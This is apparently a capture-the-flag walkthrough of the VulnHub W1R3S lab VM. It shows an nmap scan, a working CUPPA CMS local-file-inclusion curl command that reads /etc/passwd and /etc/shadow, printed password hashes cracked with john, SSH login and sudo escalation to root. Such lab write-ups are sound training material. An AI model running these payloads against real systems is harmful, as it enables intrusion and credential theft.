W1R3S: 1.0.1 ~ VulnHub - CTF Walkthrough
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Objective
You have been hired to do a penetration test on the W1R3S.inc individual server and report all findings. They have asked you to gain root access and find the flag (located in /root directory).
Source: [VulnHub.com]
Status: [In Progress]
Methodology
Discovery
root@blaksec:/ # export TANGO=192.168.56.101
root@kali:~/Desktop/w1r3s# nmap -O -sT -sV -p- -T5 192.168.56.101
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-26 19:01 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00093s latency).
Not shown: 55528 filtered ports, 10003 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 08:00:27:CB:EE:8B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Entry Point #1 - Port 80 (HTTP)
Enumeration
A quick scan with dirb came back with two directories wordpress and administrator. The former runs the obvious - Word Press, the latter - CUPPA CMS
WordPress is configured to run under localhost so we need to update /etc/hosts
192.168.56.101 localhost
A quick checked of WordPress with wp-scan did not reveal anything interesting. Gut feel tells me to put that aside and move to CUPPA older versions of which, according to google, come with a LFI vulnerability.
Exploitation
root@blaksec:/media/sf_VM_Transfer/Pentesting/w1r3s# curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://localhost/administrator/alerts/alertConfigField.php |grep sbin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
......
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
And taking it a step further...
root@blaksec:/media/sf_VM_Transfer/Pentesting/w1r3s# curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://localhost/administrator/alerts/alertConfigField.php
...
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0
...
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
...
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:999...
Didn't take long to crack the hashes with good old trusty john
root@kali:~/Desktop/w1r3s# john --show shadow.txt
w1r3s:computer
www-data:www-data
2 password hashes cracked, 1 left
root@blaksec:/media/sf_VM_Transfer/Pentesting/w1r3s# ssh w1r3s@$TANGO
The authenticity of host '192.168.56.101 (192.168.56.101)' can't be established.
ECDSA key fingerprint is SHA256:/3N0PzPMqtXlj9QWJFMbCufh2W95JylZ/oF82NkAAto.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.56.101' (ECDSA) to the list of known hosts.
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Think this is the way?
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Well,........possibly.
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w1r3s@192.168.56.101's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-36-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
108 packages can be updated.
6 updates are security updates.
.....You made it huh?....
Last login: Sun Apr 1 14:38:25 2018 from 192.168.56.200
w1r3s@W1R3S:~$
w1r3s@W1R3S:~$ sudo -l
sudo: unable to resolve host W1R3S: Connection refused
[sudo] password for w1r3s:
Matching Defaults entries for w1r3s on W1R3S:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User w1r3s may run the following commands on W1R3S:
(ALL : ALL) ALL
w1r3s@W1R3S:~$ sudo /bin/bash
sudo: unable to resolve host W1R3S: Connection refused
root@W1R3S:~# cd /root
root@W1R3S:/root# ls
flag.txt
root@W1R3S:/root# cat flag.txt
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\____\___/|_| \_|\____|_| \_\/_/ \_\_| \___/|_____/_/ \_\_| |___\___/|_| \_|____/
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YOU HAVE COMPLETED THE
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\__/\ / |___||____|_ /______ /_______ /.INC
\/ \/ \/ \/ CHALLENGE, V 1.0
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CREATED BY SpecterWires
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Final Notes
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Appendix A: Vulnerability Detail and Mitigation
Rating | High |
Description | xxxx |
Impact | xxxxxxxxxxxxxxxxxxxxxxxxxxxx |
Remediation | xxxxxxxxxxxxxxxxx |